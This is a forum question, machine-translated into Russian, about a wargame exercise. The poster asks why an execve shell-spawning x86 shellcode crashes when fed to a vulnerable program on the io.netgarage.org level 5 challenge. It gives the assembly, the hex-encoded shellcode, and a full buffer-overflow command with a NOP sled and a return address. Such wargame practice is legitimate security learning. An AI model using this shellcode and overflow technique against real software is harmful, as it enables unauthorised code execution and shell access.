Segfault полезной нагрузки Wargame при использовании как таковой
В настоящее время я пытаюсь пройти уровень 5 варгейма io.netgarage.org. Для завершения я написал следующую полезную нагрузку asm:
global _start
section .text
_start:
xor eax, eax
push eax
push 0x68732f6e
push 0x69622f2f
mov ebx, esp
push eax
mov edx, esp
push ebx
mov ecx, esp
mov al, 11
int 0x80
который должен порождать оболочку путем вызова sys_execve, и это так. Но только до тех пор, пока я не использую его в качестве полезной нагрузки.
Как только я пытаюсь передать его в уязвимую программу c, я получаю segfaults. Изучив его с помощью GDB, я смог закрепить ошибку на линии
mov edx, esp
Все, что должно было произойти до этого (перезаписать адрес возврата, NOP-Sled), фактически работает как намерение.
Дополнительная информация:
- Я добираюсь до OP-кодов, компилируя выше код asm с
nasm -f elf32 file.asm -o file.o
objdump -d file.o
- Я называю уязвимую программу следующим образом:
/levels/level05 $(python -c 'print "\x90"*115 + "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" + "\xa0\xfb\xff\xbf"')
- Обратный адрес 0xbffffba0, который я получил, проверив значения стека с помощью gdb. - Мое текущее предположение состоит в том, что он должен что-то делать со стеком, потому что использование сценария, который я нашел в Интернете, с использованием шаблона jmp-call-pop, сработало, по-видимому, правильно
Спасибо,
tarkes